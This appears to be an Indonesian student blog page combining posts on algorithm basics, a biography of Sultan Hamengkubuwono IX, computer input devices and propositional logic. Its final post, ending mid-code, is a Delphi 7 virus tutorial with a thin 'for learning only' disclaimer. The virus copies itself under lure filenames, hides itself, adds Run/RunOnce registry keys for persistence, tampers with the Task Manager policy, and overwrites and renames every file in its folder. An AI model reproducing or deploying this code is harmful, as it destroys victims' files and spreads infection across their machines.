isi Blog Ini

Pages

Diberdayakan oleh Blogger.
Popular News [ View all Popular News ]

Latest Updates

Kamis, 27 September 2012

BELAJAR ALGORITMA

Sebelum belajar algoritma pemrograman, akan lebih baik kita pahami terlebih dahulu

langkah-langkah pembuatan suatu program. Terdapat beberapa langkah umum dalam pembuatan suatu program yaitu:
Mendefinisikan masalah
Mencari solusinya
Menentukan algoritma
Menulis program
Menguji program
Mendokumentasikan program
Merawat program
Mendefinisikan masalah
Langkah yang pertama dilakukan adalah mendefinisikan permasalahan. langkah ini harus dilakukan untuk menentukan masalah yang ada serta ditentukan pula input dan output program.
Mencari solusi
Kemudian ditentukan solusi dari permasalahan yang dihadapi. Bila untuk mendapatkan solusi harus melalui langkah yang terlalu rumit dapat dilakukan pembagian masalah dalam beberapa modul-modul kecil agar mudah untuk dikerjakan. Lalu modul-modul kecil tersebut digabungkan menjadi satu untuk dapat menentukan solusi.
Menentukan algoritma
Dalam pemilihan algoritma, pemrogram atau analis harus menggunakan algoritma yang sesuai dan efisien untuk masalah yang dihadapi.
Menulis program
Penulisan program bisa dilakukan dengan menggunakan bahasa pemrograman yang dikuasai dan memiliki kompabilitas dengan perangkat keras yang akan menggunakan program tersebut.
Menguji program
Bila program sudah selesai dibuat, pengujian diperlukan untuk mengetahui apakah program yang dibuat sudah layak untuk digunakan.
Mendokumentasikan program
Penulisan dokumentasi yang biasanya dilupakan oleh pemrogram menjadi sangat penting saat akan dilakukan perubahan pada program yang dibuat. penulisan program ini dapat dilakukan dengan menulis komentar pada source code tentang kegunaannya (variabel, parameter, procedur, fungsi).
Merawat program
Program yang sudah selesai dibuat juga perlu dirawat dengan pendeteksian bug yang belum diketahui sebelumnya juga penambahan fasilitas baru yang mempermudah pengguna program.
Dari penjelasan diatas, dapat kita peroleh kesimpulan bahwa pembelajaran algoritma pemrograman adalah bagian dari langkah-langkah pembuatan program. Untuk lebih jelasnya tentang algoritma pemrograman akan diulas sebagai berikut :
Algoritma
Algoritma yaitu kumpulan langkah-langkah / steps untuk menyelesaikan masalah menggunakan komputer (program komputer) dengan syarat tertentu. Adapun syarat-syaratnya adalah sebagai berikut :
Setiap langkah harus DEFINITE (pasti, tertentu), dalam algoritma terdapat instruksi-instruksi yang jelas dan tidak ambigu.
Minimum mempunyai 1 output (input boleh tidak ada)
Harus ada stoping criteria (bisa berhenti).
Algoritma juga mempunyai beberapa jenis yaitu :
Sequence, instruksi dikerjakan berurutan (sekuensial).
Selection, instruksi dikerjakan bila kreteria tertentu terpenuhi.
Iteration, instruksi dikerjakan selama memenuhi kondisi tertentu.
Concurrent, mengerjakan banyak instruksi secara bersama.
Contoh algoritma
Algoritma menghitung luas persegi.
Masukkan sisi (S)
Luas <- S * S
Tulis Luas
Untuk menulis suatu penjelasan cara menyelesaikan masalah dapat pula digunakan Pseudo Code yaitu berupa pengkodean atau penandaan yang menyerupai suatu program. Pseudo Code ini sering digunakan dalam penulisan algoritma.
Contoh : Mencari bilangan terkecil dari dua bilangan yang dimasukkan.
Algoritma :
Masukkan bil pertama
Masukkan bil kedua
Jika bil pertama < bil kedua maka kerjakan langkah 4, bila tidak maka dikerjakan langkah 5.
Tampilkan bil pertama
Tampilkan bil kedua
Pseudo code:
Input x
Input y
If x < y then langkah 4 else langkah 5
write x
write y
Dari penjelasan diatas tampaklah perbedaan antara penulisan algoritma dalam bentuk tertentu. Dengan begitu akan lebih mudah dipahami oleh pemrogram dan orang lain yang ingin di beri pemahaman.

BAPAK PRAMUKA DUNIA


Sri Sultan Hamengkubuwono IX ( Sompilan Ngasem, Yogyakarta, 12 April 1912-Washington, DC, AS, 1 Oktober 1988 ) adalah seorang Raja Kasultanan Yogyakartadan Gubernur Daerah Istimewa Yogyakarta. Beliau juga Wakil Presiden Indonesia yang kedua antara tahun 1973-1978. Beliau kita kenal sebagai Bapak Pramuka Indonesia, dan pernah menjabat sebagai Ketua Kwartir Nasional Gerakan Pramuka.

Biografi
Lahir di Yogyakarta dengan nama GRM Dorojatun pada 12 April 1912, Hamengkubuwono IX adalah putra dari Sri Sultan Hamengkubuwono VIII dan Raden Ajeng Kustilah. Diumur 4 tahun Hamengkubuwono IX tinggal pisah dari keluarganya. Dia memperoleh pendidikan di HIS di Yogyakarta, MULO di Semarang, dan AMS di Bandung. Pada tahun 1930-an beliau berkuliah di Universiteit Leiden, Belanda, disinilah beliau sering mendapat panggilan “SultanHenkie”.
Sri Sultan Hamengku Buwono IX merupakan contoh bangsawan yang demokratis. Pemerintahan Kesultanan Yogyakarta mengalami banyak perubahan di bawah pimpinannya. Pendidikan Barat yang dijalaninya sejak usia 4 tahun membuat HB IX menemukan banyak alternatif budaya untuk menyelenggarakan Keraton Yogyakarta di kemudian hari. Berbagai tradisi keraton yang kurang menguntungkan dihapusnya dan dengan alternatif budaya baru HB IX menghapusnya.

Meski begitu bukan berarti ia menghilangkan substansi sendiri sejauh itu perlu dipertahankan. Bahkan wawasan budayanya yang luas mempu menemukan terobosan baru untuk memulihkan kejayaan kerajaan Yogyakarta. Bila dalam masa kejayaan Mataram pernah berhasil mengembangkan konsep politik keagungbinataraan yaitu bahwa kekuasaan raja adalah agung binathara bahu dhenda nyakrawati, berbudi bawa leksana ambeg adil para marta (besar laksana kekuasaan dewa, pemeliharaan hukum dan penguasa dunia, meluap budi luhur mulianya, dan bersikap adil terhadap sesama), maka HB IX dengan wawasan barunya menunjukkan bahwa raja bukan lagi gung binathara, melainkan demokratis. Raja berprinsip kedaulatan rakyat tetapi tetap berbudi bawa laksana.

Menentang penjajahan dan mendorong kemerdekaan Indonesia.

Wawasan kebangsaan HB IX juga terlihat dari sikap tegasnya yang mendukung Republik Indonesia dengan sangat konsekuen. Segera setelah Proklamasi RI ia mengirimkan amanat kepada Presiden RI yang menyatakan keinginan kerajaan Yogyakarta untuk mendukung pemerintahan RI. Ketika Jakarta sebagai ibukota RI mengalami situasi gawat, HB IX tidak keberatan ibukota RI dipindahkan ke Yogyakarta. Begitu juga ketika ibukota RI diduduki musuh, ia bukan saja tidak mau menerima bujukan Belanda untuk berpihak pada mereka, namun juga mengambil inisatif yang sebenarnya dapat membahayakan dirinya, termasuk mengijinkan para gerilyawan bersembunyi di kompleks keraton pada serangan oemoem 1 Maret 1949. Jelaslah bahwa ia seorang raja yang republiken. Setelah bergabung dengan RI, HB IX terjun dalam dunia politik nasional.

Sejak 1946 beliau pernah beberapa kali menjabat menteri pada kabinet yang dipimpin Presiden Soekarno. Jabatan resminya pada tahun 1966 adalah ialah Menteri Utama di bidang Ekuin.Berikut jabatan yang pernah di embannya :
a. Kepala dan Gubernur Militer Daerah Istimewa Yogyakarta (1945)
b. Menteri Negara pada Kabinet Sjahrir III (2 Oktober 1946 - 27 Juni 1947)
c. Menteri Negara pada Kabinet Amir Sjarifuddin I dan II (3 Juli 1947 - 11 November 1947 dan 11 November 1947 - 28 Januari 1948)
d. Menteri Negara pada Kabinet Hatta I (29 Januari 1948 - 4 Agustus 1949)
e. Menteri Pertahanan/Koordinator Keamanan Dalam Negeri pada Kabinet Hatta II (4 Agustus 1949 - 20 Desember 1949)
f. Menteri Pertahanan pada masa RIS (20 Desember 1949 - 6 September 1950)
g. Wakil Perdana Menteri pada Kabinet Natsir (6 September 1950 - 27 April 1951)
h. Ketua Dewan Kurator Universitas Gajah Mada Yogyakarta (1951)
i. Ketua Dewan Pariwisata Indonesia (1956)
j. Ketua Sidang ke 4 ECAFE (Economic Commision for Asia and the Far East) dan Ketua Pertemuan Regional ke 11 Panitia Konsultatif Colombo Plan (1957)
k. Ketua Federasi ASEAN Games (1958)
l. Menteri/Ketua Badan Pemeriksa Keuangan (5 Juli 1959)
m. Ketua Delegasi Indonesia dalam pertemuan PBB tentang Perjalanan dan Pariwisata (1963)
n. Menteri Koordinator Pembangunan (21 Februari 1966)
o. Wakil Perdana Menteri Bidang Ekonomi 11 (Maret 1966)
p. Ketua Kwartir Nasional Gerakan Pramuka (1968)
q. Ketua Umum Komite Olahraga Nasional Indonesia/KONI (1968)
r. Ketua Delegasi Indonesia di Konferensi Pasific Area Travel Association (PATA) di California, Amerika Serikat (1968)
s. Wakil Presiden Indonesia (25 Maret 1973 - 23 Maret 1978)

Bapak Pramuka Indonesia.
Semangat menyatukan berbagai organisasi kepanduan yang tumbuh di Indonesia setelah proklamasi kemerdekaan terus berkobar. Hal itu membuat Presiden Soekarno lantas berkoordinasi dengan Pandu Agung, Sri Sultan Hamengku Buwono IX.
Pada 20 Mei 1961 terbitlah Keppres No 238 / 1961, yang melebur seluruh organisasi kepanduan pada satu wadah yaitu Gerakan Pramuka. Gerakan Pramuka diperkenalkan pada tanggal 14 Agustus 1961, dengan penyerahan Panji-Panji Gerakan Pramuka dari Presiden Soekarno kepada Sri Sultan HB IX, yang selanjutnya diperingati sebagai Hari Pramuka.

Gerakan Pramuka memang lahir dari berbagai organisasi kepanduan yang tersebar di Tanah Air. Dalam masa peralihan itu peran Sri Sultan Hamengku Buwono IX sangat besar hingga Sri Sultan Hamengku Buwono IX dipercaya mendampingi perjalanan kepengurusan Gerakan Pramuka di tingkat nasional, yaitu sebagai Ketua Kwartir Nasional Gerakan Pramuka selama 4 periode untuk masa bakti 1961-1963, 1963-1967, 1967-1970 dan 1970-1974.
Kiprah Sri Sultan Hamengku Buwono dalam pembinaan Gerakan Pramuka tidak hanya di dalam negeri. Konsep-konsep pemikiran beliau tentang kepanduan atau Gerakan Pramuka mendapat sambutan yang luar biasa. Salah satunya pidato Sri Sultan Hamengku Buwono IX di Konferensi Kepramukaan Se dunia tahun 1971, mendapat sambutan yang luas. Ketika itu, Sultan mengajak organisasi kepanduan terlibat dalam pembangunan masyarakat. Alhasil, pidato itu menjadi arah baru pembinaan kepanduan di seluruh dunia.
Atas jasa-jasanya yang luar biasa bagi kepramukaan internasional, Sri Sultan dianugerahi Bronze Wolf Award pada tahun 1974, penghargaan tertinggi World Organization of the Scout Movement. Sri Sultan merupakan warganegara Indonensia yang pertama yang memperoleh penghargaan itu. Sebelumnya tahun 1973, beliau mendapat penghargaan dari Boy Scouts of America berupa Silver World Award.
Di dalam negeri, melalui Surat Keputusan Musyawarah Nasional Gerakan Pramuka Tahun 1988 di Dili, Timor Timur nomor 10/MUNAS/88 tentang Bapak Pramuka, mengukuhkan almarhum Sri Sultan Hamengku Buwono IX sebagai Bapak Pramuka. Gerakan Pramuka juga memberi penghargaan tertinggi kepada Sri Sultan Hamengku Buwono IX berupa Lencana Tunas kencana. Penghargaan tersebut juga diterima oleh Presiden ke-2 Republik Indonesia, almarhum H.M. Soeharto.

Sebagai Wakil Presiden.
Pada tahun 1973 beliau diangkat sebagai wakil presiden. Pada akhir masa jabatannya pada tahun 1978, beliau menolak untuk dipilih kembali sebagai wakil presiden dengan alasan kesehatan. Namun, ada rumor yang mengatakan bahwa alasan sebenarnya ia mundur adalah karena tak menyukai Presiden Soeharto yang represif seperti pada Peristiwa Malari dan hanyut pada KKN. Minggu malam pada 1 Oktober 1988 ia wafat di George Washington University Medical Centre, Amerika Serikat dan dimakamkan di pemakaman para sultan Mataram di Imogiri.

Senin, 12 Maret 2012

tugas pribadiku

saya memasukan k blogger tergesa2 jadi gk saya tata maaf ya teman2
Tugas macam macam input , output
Perangkat keras dan fungsinya
Computer terdiri bebrapa komponen yang merupakn suatu system.
Sisitem adalah komponen yang saling bekerjasama untuk membentuk sutu kesatuan,apabila salah satu komponen tidak berfungsi maka tidk befungsinya computer yang baik,,komponen ini termasuk juga kategori peranti perangkat keras (hardware).
Jenis jenis hardware
1.input device (unit pemasukan)
2.procces device (unit pemrosesan)
3.ouput device (unit pengeluaran)
4.backing storage unit (penyimpnan)
5.periferal (unit tambahan)
komponen dasar komputer yang terdiri dari input, process, output dan storage. Input device terdiri dari keyboard dan mouse, Process device adalah microprocessor (ALU, Internal Communication, Registers dan control section), Output device terdiri dari monitor dan printer, Storage external memory terdiri dari harddisk, Floppy drive, CD ROM, Magnetic tape. Storage internal memory terdiri dari RAM dan ROM. Sedangkan komponen Periferal Device merupakan komponen tambahan atau sebagai komponen yang belum ada atau tidak ada sebelumnya. Komponen Periferal ini contohnya : TV Tuner Card, Modem, Capture Card.
1. Unit Masukan ( Input Device )
Unit ini berfungsi sebagai media untuk memasukkan data dari luar ke dalam suatu memori dan processor untuk diolah guna menghasilkan informasi yang diperlukan. Input devices atau unit masukan yang umumnya digunakan personal computer (PC) adalah keyboard dan mouse, keyboard dan mouse adalah unit yang menghubungkan user (pengguna) dengan komputer. Selain itu terdapat joystick, yang biasa digunakan untuk bermain games atau permainan dengan komputer. Kemudian scanner, untuk mengambil gambar sebagai gambar digital yang nantinya dapat dimanipulasi. Touch panel, dengan menggunakan sentuhan jari user dapat melakukan suatu proses akses file. Microphone, untuk merekam suara ke dalam komputer.
Input device berfungsi sebagai media untuk memasukkan data dari luar sistem ke dalam suatu memori dan processor untuk diolah dan menghasilkan informasi yang diperlukan. Data yang dimasukkan ke dalam sistem komputer dapat berbentuk signal input dan maintenance input. Signal input berbentuk data yang dimasukkan ke dalam sistem komputer, sedangkan maintenance input berbentuk program yang digunakan untuk mengolah data yang dimasukkan. Jadi Input device selain digunakan untuk memasukkan data dapat pula digunakan untuk memasukkan program. Berdasarkan sifatnya, peralatan input dapat digolongkan menjadi dua yaitu :
• Peratalan input langsung, yaitu input yang dimasukkan langsung diproses oleh alat pemroses. Contohnya : keyboard, mouse, touch screen, light pen, digitizer graphics tablet, scanner.
• Peralatan input tidak langsung, input yang melalui media tertentu sebelum suatu input diproses oleh alat pemroses. Contohnya : punched card, disket, harddisk.
Unit masukan atau peralatan input ini terdiri dari beberapa macam peranti yaitu :
a. Keyboard
Keyboard merupakan unit input yang paling penting dalam suatu pengolahan data dengan komputer. Keyboard dapat berfungsi memasukkan huruf, angka, karakter khusus serta sebagai media bagi user (pengguna) untuk melakukan perintah-perintah lainnya yang diperlukan, seperti menyimpan file dan membuka file. Penciptaan keyboard komputer berasal dari model mesin ketik yang diciptakan dan dipatentkan oleh Christopher Latham pada tahun 1868, Dan pada tahun 1887 diproduksi dan dipasarkan oleh perusahan Remington. Keyboard yang digunakanan sekarang ini adalah jenis QWERTY, pada tahun 1973, keyboard ini diresmikan sebagai keyboard standar ISO (International Standar Organization). Jumlah tombol pada keyboard ini berjumlah 104 tuts. Keyboard sekarang yang kita kenal memiliki beberapa jenis port, yaitu port serial, ps2, usb dan wireless.

b. Mouse
Mouse adalah salah unit masukan (input device). Fungsi alat ini adalah untuk perpindahan pointer atau kursor secara cepat. Selain itu, dapat sebagai perintah praktis dan cepat dibanding dengan keyboard. Mouse mulai digunakan secara maksimal sejak sistem operasi telah berbasiskan GUI (Graphical User Interface). sinyal-sinyal listrik sebagai input device mouse ini dihasilkan oleh bola kecil di dalam mouse, sesuai dengan pergeseran atau pergerakannya. Sebagian besar mouse terdiri dari tiga tombol, umumnya hanya dua tombol yang digunakan yaitu tombol kiri dan tombol kanan. Saat ini mouse dilengkapi pula dengan tombol penggulung (scroll), dimana letak tombol ini terletak ditengah. Istilah penekanan tombol kiri disebut dengan klik (Click) dimana penekanan ini akan berfungsi bila mouse berada pada objek yang ditunjuk, tetapi bila tidak berada pada objek yang ditunjuk penekanan ini akan diabaikan. Selain itu terdapat pula istilah lainnya yang disebut dengan menggeser (drag) yaitu menekan tombol kiri mouse tanpa melepaskannya dengan sambil digeser. Drag ini akan mengakibatkan objek akan berpindah atau tersalin ke objek lain dan kemungkinan lainnya. Penekanan tombol kiri mouse dua kali secara cepat dan teratur disebut dengan klik ganda (double click) sedangkan menekan tombol kanan mouse satu kali disebut dengan klik kanan (right click)Mouse terdiri dari beberapa port yaitu mouse serial, mouse ps/2, usb dan wireless.

c. Touchpad
Unit masukkan ini biasanya dapat kita temukan pada laptop dan notebook, yaitu dengan menggunakan sentuhan jari. Biasanya unit ini dapat digunakan sebagai pengganti mouse. Selain touchpad adalah model unit masukkan yang sejenis yaitu pointing stick dan trackball.
Touch ped

track ball

pointing scanner

d. Light Pen
Light pen adalah pointer elektronik yang digunakan untuk modifikasi dan men-design gambar dengan screen (monitor). Light pen memiliki sensor yang dapat mengirimkan sinyal cahaya ke komputer yang kemudian direkam, dimana layar monitor bekerja dengan merekam enam sinyal elektronik setiap baris per detik.
Gambar light pen

e. Joy Stick dan Games Paddle
Alat ini biasa digunakan pada permainan (games) komputer. Joy Stick biasanya berbentuk tongkat, sedangkan games paddle biasanya berbentuk kotak atau persegi terbuat dari plastik dilengkapi dengan tombol-tombol yang akan mengatur gerak suatu objek dalam komputer.

f. Barcode
Barcode termasuk dalam unit masukan (input device). Fungsi alat ini adalah untuk membaca suatu kode yang berbentuk kotak-kotak atau garis-garis tebal vertical yang kemudian diterjemahkan dalam bentuk angka-angka. Kode-kode ini biasanya menempel pada produk-produk makanan, minuman, alat elektronik dan buku. Sekarang ini, setiap kasir di supermarket atau pasar swalayan di Indonesia untuk mengidentifikasi produk yang dijualnya dengan barcode.
gambar barcord reader

gambar barcord

g. Scanner
Scanner adalah sebuah alat yang dapat berfungsi untuk meng-copy atau menyalin gambar atau teks yang kemudian disimpan ke dalam memori komputer. Dari memori komputer selanjutnya, disimpan dalam harddisk ataupun floppy disk. Fungsi scanner ini mirip seperti mesin fotocopy, perbedaannya adalah mesin fotocopy hasilnya dapat dilihat pada kertas sedangkan scanner hasilnya dapat ditampilkan melalui monitor terlebih dahulu sehingga kita dapat melakukan perbaikan atau modifikasi dan kemudian dapat disimpan kembali baik dalam bentuk file text maupun file gambar.
gambar scanner

h. Kamera Digital
Perkembangan teknologi telah begitu canggih sehingga komputer mampu menerima input dari kamera. Kamera ini dinamakan dengan Kamera Digital dengan kualitas gambar lebih bagus dan lebih baik dibandingkan dengan cara menyalin gambar yang menggunakan scanner.
kamera digital

i. Mikropon dan Headphone
Unit masukan ini berfungsi untuk merekam atau memasukkan suara yang akan disimpan dalam memori komputer atau untuk mendengarkan suara. Dengan mikropon, kita dapat merekam suara ataupun dapat berbicara kepada orang yang kita inginkan pada saat chating. Penggunaan mikropon ini tentunya memerlukan perangkat keras lainnya yang berfungsi untuk menerima input suara yaitu sound card dan speaker untuk mendengarkan suara.
headpone


j. Graphics Pads
Teknologi Computer Aided Design (CAD) dapat membuat rancangan bangunan, rumah, mesin mobil, dan pesawat dengan menggunakan Graphics Pads. Graphics pads ini merupakan input masukan untuk menggambar objek pada monitor. Graphics pads yang digunakan mempunyai dua jenis. Pertama, menggunakan jarum (stylus) yang dihubungkan ke pad atau dengan memakai bantalan tegangan rendah, yang pada bantalan tersebut terdapat permukaan membrane sensitif sentuhan ( touch sensitive membrane surface). Tegangan rendah yang dikirimkan kemudian diterjemahkan menjadi koordinat X – Y. Kedua, menggunakan bantalan sensitif sentuh ( touch sensitive pad) tanpa menggunakan jarum. Cara kerjanya adalah dengan meletakkan kertas gambar pada bantalan, kemudian ditulisi dengan pensil.

Selasa, 10 Januari 2012

Dasar Logika Informatika

Proposition (pernyataan)
Preposisi merupakan komponen penyusun logika dasar yang dilambangkan dengan huruf kecil (p, q, r, …..) yang memiliki nilai kebenaran (True atau False).Diwakili oleh kalimat deklaratif.Lawan kalimat deklaratif adalah kalimat terbuka.Untuk mengkombinasikan dua atau lebih proposisi diperlukan “connective/penghubung”.Setiap proposisi adalah kalimat, tetapi setiap kalimat belum tentu sebuah proposisi.
Syntactics Rule (Aturan Sintaktik) adalah aturan yang diperlukan untuk mengkombinasikan antara propositions dan propositional connectives untuk menghasilkan sentences (kalimat logika).
Propositional connective yang digunakan:
Not (~), and (Ù), or (Ú), if – then – (è),
If – then – else, dan if and only if (ó)
Contoh Proposisi:
- 15 habis dibagi 3
- Malang adalah ibukota Indonesia
Contoh bukan Proposisi (kalimat terbuka)
- Belikan nasi bungkus di warung!
- Apakah hari ini hujan?
Jika P adalah suatu kalimat, demikian juga negasinya (Not P). Negasi dari P yang dinotasikan dengan -P adalah proposisi.
-P = bukan P
Nilai kebenaran dari proposisi -P didefinisikan dengan tabel kebenaran berikut:

P | -P
B | S
S | B

Misalkan P dan Q adalah proposisi, maka:
- Disjungsi P dan Q, dinotasikan sebagai P v Q adalah Proposisi
- Konjungsi P dan Q, dinotasikan sebagai P ^ Q adalah Proposisi
Proposisi hasil kombinasi dari proposisi – proposisi tersebut disebut kalimat majemuk.
Contoh:
- P = 2 + 5 =3
- Q = Satu minggu sama dengan 7 hari
- P v Q = 2 + 5 =3 atau Satu minggu sama dengan 7 hari (nilai kebenaran = ”benar”)
- P ^ Q = 2 + 5 =3 dan Satu minggu sama dengan 7 hari (nilai kebenaran = ”salah”)
Nilai kebenaran dari proposisi P v Q dan P ^ Q didefinisikan dengan tabel kebenaran berikut:

P | Q | P^Q | PvQ |
B | B | B | B |
B | S | S | B |
S | B | S | B |
S | S | S | S |

Proposisi Bersyarat
Jika P dan Q adalah Proposisi, maka Proposisi jika P maka Q disebut Proposisi bersyarat (Implikasi) dan dinotasikan sebagai P → Q.
Proposisi P disebut Hipotesis (Anteseden) dan proposisi Q disebut konklusi.
Nilai kebenaran dari proposisi P → Q didefinisikan dengan tabel kebenaran berikut:

P | Q |P->Q|
B | B | B |
B | S | S |
S | B | B |
S | S | B |

Jika P dan Q adalah Proposisi, maka proposisi majemuk P jika hanya jika Q disebut Proposisi Bikondisional (Bi-implikasi) dan dinotasikan sebagai P ↔ Q.
Nilai kebenaran dari proposisi P ↔ Q didefinisikan dengan tabel kebenaran beriku

Sabtu, 07 Januari 2012

Membuat virus dengan dhelpi 7

AGAK RUMIT SI KLU TEMEN TEMEN BENER MAU BACA PASTI BISA
SAYA AJA AGAK BINGUNG TAP SAYA TETEP MEMPELAJARI LAGI WALAU SAYA SUDAH PRAKTEK BUAT NI
SEMANGAT

Ini kode untuk membuat virus dengan Delphi 7, ketik kode di bawah ini atau bisa kopi paste. Dan ingat kode di bawah hanya untuk pembelajaran saja, dan kami tidak bertanggung jawab penyalah gunaan kode di bawah ini:

unit Unit1;

interface
{Deklarasi ShellApi Yang Digunakan}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{{$R MySoundRes.RES}

procedure TForm1.FormCreate(Sender: TObject);

{Deklarasi variabel}
var
regis: TRegistry;
APath: string;
MySearch: TSearchRec;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
{form tak terlihat}
Application.ShowMainForm := false;
{copy dulu ah}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menjalankan service tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{men-disable TASK MANAGER}
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;

regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{membuat key di registry biar auto run gitu}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{membuat key registry di runonce}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{menginfeksi file}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+’\’+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{merubah file yg terinfeksi}
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+’\*.*’, faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+’\’+MySearch.Name),pchar(APath+’\’+MySearch.Name+’.exe’));
renamefile (pchar(application.ExeName+’.exe’),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
procedure TForm1.Timer1Timer(Sender: TObject);
{terus perhatiin yah}
{deklarasi variabel}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
mkdir(sysdir+’\runfold’);
except
end;
try
CopyFile(pchar(application.ExeName),PChar(windir+’\Dadan cakep.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\sistim32.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Rahasia.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\Jangan dibuka.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\hotmovie.exe’),true);
CopyFile(pchar(application.ExeName),PChar(windir+’\ramdan.avi.exe’),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+’\runfold\-NET-SERVICES-.exe’),true);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{tetep jalanin virus secara tak terlihat}
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(sysdir+’\runfold\-NET-SERVICES-.exe’), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
{mendisable task manager}
begin
try
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey(’Software’, True);
regis.OpenKey(’Microsoft’, True);
regis.OpenKey(’Windows’, True);
regis.OpenKey(’CurrentVersion’, True);
regis.OpenKey(’Policies’, True);
regis.OpenKey(’System’, True);
regis.WriteString(’DisableTaskMgr’, ‘0');
regis.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey(’Software\Microsoft\Windows\CurrentVersion\Run’,True) then
reg1.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg1.CloseKey;
{bikin lagi key registry}
reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey(’Software\Microsoft\Windows\CurrentVersion\RunOnce’,True) then
reg2.WriteString(’.NET.’,sysdir+’\runfold\-NET-SERVICES-.exe’);
reg2.CloseKey;
except
end;
end;
{+++++++++++++++++++++++++++++++++++}
{%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
try
ShellExecute(0, ‘open’, ‘www.imm.or.id’, nil, nil, SW_NORMAL);
mciSendString(’dadan cakep deh’, nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString(’dadan memang cakep’, nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
